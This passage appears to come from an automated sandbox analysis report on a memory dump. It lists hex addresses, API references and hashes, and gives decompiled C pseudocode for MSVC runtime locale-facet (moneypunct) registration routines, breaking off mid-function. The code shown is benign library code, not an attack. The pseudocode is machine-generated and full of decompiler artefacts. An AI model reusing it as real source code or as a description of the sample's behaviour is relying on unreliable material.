0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2

APIs

__EH_prolog3.LIBCMT ref: 0048C96B
std::_Lockit::_Lockit.LIBCPMT ref: 0048C975

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 0048C9AF
std::_Facet_Register.LIBCPMT ref: 0048C9C6
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C9E6
Concurrency::cancel_current_task.LIBCPMT ref: 0048C9F3

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: d1523916864bcae98330d0836f27d8ea40860cce7d2d318f737c4f53f3d35e3b
Instruction ID: 95a2346c1a0a3255d5a5c53942570fb07094c7ba08130a60f44e227e225ebaca
Opcode Fuzzy Hash: d1523916864bcae98330d0836f27d8ea40860cce7d2d318f737c4f53f3d35e3b
Instruction Fuzzy Hash: 6C01ED71D0021A8BCB05FB65D856ABE7761BF80314F14084EE811AB382CF7C9E008799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C9F9, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C9F9(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v128;
				signed int _t141;
				void* _t256;
				short* _t370;
				void* _t404;
				signed int _t406;
				signed int _t407;
				signed int _t408;
				signed int _t409;
				signed int _t410;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t414;
				signed int _t415;
				void* _t416;
				signed int _t417;
				signed int _t418;
				signed int _t419;
				signed int _t420;
				signed int _t421;
				signed int _t422;
				signed int _t423;
				signed int _t424;
				signed int _t425;
				signed int _t426;
				signed int _t427;
				short* _t428;
				void* _t444;
				void* _t445;

				_push(8);
				E0049D90B(0x4d6966, _t404, _t416);
				E00488DEA( &_v20, 0);
				_t417 =  *0x4eddec; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t417;
				_t141 = E0042B315(_a8, E0042B22E(0x4edd98, _t404, _t417, _t445));
				_t405 = _t141;
				if(_t141 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t405);
				} else {
					if(_t417 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E3E2(_t405, _t417, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t405, _t417);
							E00488DEA( &_v20, 0);
							_t418 =  *0x4ede00; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t418;
							_t406 = E0042B315(_a8, E0042B22E(0x4edda4, _t405, _t418, __eflags));
							__eflags = _t406;
							if(_t406 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t406);
							} else {
								__eflags = _t418;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E467(_t406, _t418, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t406, _t418);
										E00488DEA( &_v20, 0);
										_t419 =  *0x4eddd0; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t419;
										_t407 = E0042B315(_a8, E0042B22E(0x4edd7c, _t406, _t419, __eflags));
										__eflags = _t407;
										if(_t407 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t407);
										} else {
											__eflags = _t419;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E4CF(_t407, _t419, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t407, _t419);
													E00488DEA( &_v20, 0);
													_t420 =  *0x4ede04; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t420;
													_t408 = E0042B315(_a8, E0042B22E(0x4edda8, _t407, _t420, __eflags));
													__eflags = _t408;
													if(_t408 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t408);
													} else {
														__eflags = _t420;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E537(_t408, _t420, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t408, _t420);
																E00488DEA( &_v20, 0);
																_t421 =  *0x4eddd4; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t421;
																_t409 = E0042B315(_a8, E0042B22E(0x4edd80, _t408, _t421, __eflags));
																__eflags = _t409;
																if(_t409 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t409);
																} else {
																	__eflags = _t421;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E59F(_t409, _t421, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t409, _t421);
																			E00488DEA( &_v20, 0);
																			_t422 =  *0x4ede08; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t422;
																			_t410 = E0042B315(_a8, E0042B22E(0x4eddac, _t409, _t422, __eflags));
																			__eflags = _t410;
																			if(_t410 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t410);
																			} else {
																				__eflags = _t422;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E607(_t410, _t422, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t410, _t422);
																						E00488DEA( &_v20, 0);
																						_t423 =  *0x4eddd8; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t423;
																						_t411 = E0042B315(_a8, E0042B22E(0x4edd84, _t410, _t423, __eflags));
																						__eflags = _t411;
																						if(_t411 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t411);
																						} else {
																							__eflags = _t423;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E682(_t411, _t423, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t411, _t423);
																									E00488DEA( &_v20, 0);
																									_t424 =  *0x4ede24; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t424;
																									_t412 = E0042B315(_a8, E0042B22E(0x4eddc8, _t411, _t424, __eflags));
																									__eflags = _t412;
																									if(_t412 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t412);
																									} else {
																										__eflags = _t424;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E6FD(_t412, _t424, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t412, _t424);
																												E00488DEA( &_v20, 0);
																												_t425 =  *0x4eddf4; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t425;
																												_t413 = E0042B315(_a8, E0042B22E(0x4edda0, _t412, _t425, __eflags));
																												__eflags = _t413;
																												if(_t413 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t413);
																												} else {
																													__eflags = _t425;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E769(_t413, _t425, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t413, _t425);
																															E00488DEA( &_v20, 0);
																															_t426 =  *0x4ede28; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t426;
																															_t414 = E0042B315(_a8, E0042B22E(0x4eddcc, _t413, _t426, __eflags));
																															__eflags = _t414;
																															if(_t414 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t414);
																															} else {
																																__eflags = _t426;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E7D5(_t414, _t426, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t414, _t426);
																																		E00488DEA( &_v20, 0);
																																		_t427 =  *0x4eddf8; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t427;
																																		_t415 = E0042B315(_a8, E0042B22E(0x4edd78, _t414, _t427, __eflags));
																																		__eflags = _t415;
																																		if(_t415 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t415);
																																		} else {
																																			__eflags = _t427;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				_t256 = E0048E849(_t415, _t427, __eflags);
																																				_pop(_t370);
																																				__eflags = _t256 - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(_t427);
																																					_t428 = _t370;
																																					_t134 = _t428 + 0x10;
																																					 *_t134 =  *(_t428 + 0x10) & 0x00000000;
																																					__eflags =  *_t134;
																																					 *((intOrPtr*)(_t428 + 0x14)) = 7;
																																					 *_t428 = 0;
																																					E00494BE0( *((intOrPtr*)(_t444 + 8)));
																																					return _t428;
																																				} else {
																																					_t415 = _v16;
																																					_v16 = _t415;
																																					_v4 = 1;
																																					E0048919D(_t415);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 4))))();
																																					 *0x4eddf8 = _t415;
																																					goto L75;
																																				}
																																			} else {
																																				_t415 = _t427;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t414 = _v16;
																																		_v16 = _t414;
																																		_v4 = 1;
																																		E0048919D(_t414);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t414 + 4))))();
																																		 *0x4ede28 = _t414;
																																		goto L68;
																																	}
																																} else {
																																	_t414 = _t426;
																																	goto L68;
																																}
																															}
																														} else {
																															_t413 = _v16;
																															_v16 = _t413;
																															_v4 = 1;
																															E0048919D(_t413);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 4))))();
																															 *0x4eddf4 = _t413;
																															goto L61;
																														}
																													} else {
																														_t413 = _t425;
																														goto L61;
																													}
																												}
																											} else {
																												_t412 = _v16;
																												_v16 = _t412;
																												_v4 = 1;
																												E0048919D(_t412);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t412 + 4))))();
																												 *0x4ede24 = _t412;
																												goto L54;
																											}
																										} else {
																											_t412 = _t424;
																											goto L54;
																										}
																									}
																								} else {
																									_t411 = _v16;
																									_v16 = _t411;
																									_v4 = 1;
																									E0048919D(_t411);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t411 + 4))))();
																									 *0x4eddd8 = _t411;
																									goto L47;
																								}
																							} else {
																								_t411 = _t423;
																								goto L47;
																							}
																						}
																					} else {
																						_t410 = _v16;
																						_v16 = _t410;
																						_v4 = 1;
																						E0048919D(_t410);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t410 + 4))))();
																						 *0x4ede08 = _t410;
																						goto L40;
																					}
																				} else {
																					_t410 = _t422;
																					goto L40;
																				}
																			}
																		} else {
																			_t409 = _v16;
																			_v16 = _t409;
																			_v4 = 1;
																			E0048919D(_t409);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t409 + 4))))();
																			 *0x4eddd4 = _t409;
																			goto L33;
																		}
																	} else {
																		_t409 = _t421;
																		goto L33;
																	}
																}
															} else {
																_t408 = _v16;
																_v16 = _t408;
																_v4 = 1;
																E0048919D(_t408);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t408 + 4))))();
																 *0x4ede04 = _t408;
																goto L26;
															}
														} else {
															_t408 = _t420;
															goto L26;
														}
													}
												} else {
													_t407 = _v16;
													_v16 = _t407;
													_v4 = 1;
													E0048919D(_t407);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t407 + 4))))();
													 *0x4eddd0 = _t407;
													goto L19;
												}
											} else {
												_t407 = _t419;
												goto L19;
											}
										}
									} else {
										_t406 = _v16;
										_v16 = _t406;
										_v4 = 1;
										E0048919D(_t406);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t406 + 4))))();
										 *0x4ede00 = _t406;
										goto L12;
									}
								} else {
									_t406 = _t418;
									goto L12;
								}
							}
						} else {
							_t405 = _v16;
							_v16 = _t405;
							_v4 = 1;
							E0048919D(_t405);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t405 + 4))))();
							 *0x4eddec = _t405;
							goto L5;
						}
					} else {
						_t405 = _t417;
						goto L5;
					}
				}
			}

0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2a
0x0048ca2f
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37

APIs

__EH_prolog3.LIBCMT ref: 0048CA00
std::_Lockit::_Lockit.LIBCPMT ref: 0048CA0A

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 0048CA44
std::_Facet_Register.LIBCPMT ref: 0048CA5B
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CA7B
Concurrency::cancel_current_task.LIBCPMT ref: 0048CA88

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: 360424a3084c37d4effaea057f44e6d80938f1ac1cd1c347caa1f02e4829e93b
Instruction ID: 799be2cbe417155a9b2c34543e86482fae44d9e2ebe9b8232dc18b69b0c5f81f
Opcode Fuzzy Hash: 360424a3084c37d4effaea057f44e6d80938f1ac1cd1c347caa1f02e4829e93b
Instruction Fuzzy Hash: 9A01C071D001298BCB05FB65D895ABE7775AF80314F65481FE810AB382CF3C9E018B99

Uniqueness

Uniqueness Score: -1.00%

Function 0048CCE2, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048CCE2(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v68;
				signed int _t81;
				void* _t141;
				short* _t205;
				void* _t224;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				void* _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				short* _t238;
				void* _t249;
				void* _t250;

				_push(8);
				E0049D90B(0x4d6966, _t224, _t231);
				E00488DEA( &_v20, 0);
				_t232 =  *0x4ede08; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t232;
				_t81 = E0042B315(_a8, E0042B22E(0x4eddac, _t224, _t232, _t250));
				_t225 = _t81;
				if(_t81 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t225);
				} else {
					if(_t232 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E607(_t225, _t232, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t225, _t232);
							E00488DEA( &_v20, 0);
							_t233 =  *0x4eddd8; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t233;
							_t226 = E0042B315(_a8, E0042B22E(0x4edd84, _t225, _t233, __eflags));
							__eflags = _t226;
							if(_t226 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t226);
							} else {
								__eflags = _t233;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E682(_t226, _t233, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t226, _t233);
										E00488DEA( &_v20, 0);
										_t234 =  *0x4ede24; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t234;
										_t227 = E0042B315(_a8, E0042B22E(0x4eddc8, _t226, _t234, __eflags));
										__eflags = _t227;
										if(_t227 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t227);
										} else {
											__eflags = _t234;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E6FD(_t227, _t234, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t227, _t234);
													E00488DEA( &_v20, 0);
													_t235 =  *0x4eddf4; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t235;
													_t228 = E0042B315(_a8, E0042B22E(0x4edda0, _t227, _t235, __eflags));
													__eflags = _t228;
													if(_t228 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t228);
													} else {
														__eflags = _t235;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E769(_t228, _t235, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t228, _t235);
																E00488DEA( &_v20, 0);
																_t236 =  *0x4ede28; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t236;
																_t229 = E0042B315(_a8, E0042B22E(0x4eddcc, _t228, _t236, __eflags));
																__eflags = _t229;
																if(_t229 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t229);
																} else {
																	__eflags = _t236;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E7D5(_t229, _t236, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t229, _t236);
																			E00488DEA( &_v20, 0);
																			_t237 =  *0x4eddf8; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t237;
																			_t230 = E0042B315(_a8, E0042B22E(0x4edd78, _t229, _t237, __eflags));
																			__eflags = _t230;
																			if(_t230 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t230);
																			} else {
																				__eflags = _t237;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					_t141 = E0048E849(_t230, _t237, __eflags);
																					_pop(_t205);
																					__eflags = _t141 - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(_t237);
																						_t238 = _t205;
																						_t74 = _t238 + 0x10;
																						 *_t74 =  *(_t238 + 0x10) & 0x00000000;
																						__eflags =  *_t74;
																						 *((intOrPtr*)(_t238 + 0x14)) = 7;
																						 *_t238 = 0;
																						E00494BE0( *((intOrPtr*)(_t249 + 8)));
																						return _t238;
																					} else {
																						_t230 = _v16;
																						_v16 = _t230;
																						_v4 = 1;
																						E0048919D(_t230);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t230 + 4))))();
																						 *0x4eddf8 = _t230;
																						goto L40;
																					}
																				} else {
																					_t230 = _t237;
																					goto L40;
																				}
																			}
																		} else {
																			_t229 = _v16;
																			_v16 = _t229;
																			_v4 = 1;
																			E0048919D(_t229);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t229 + 4))))();
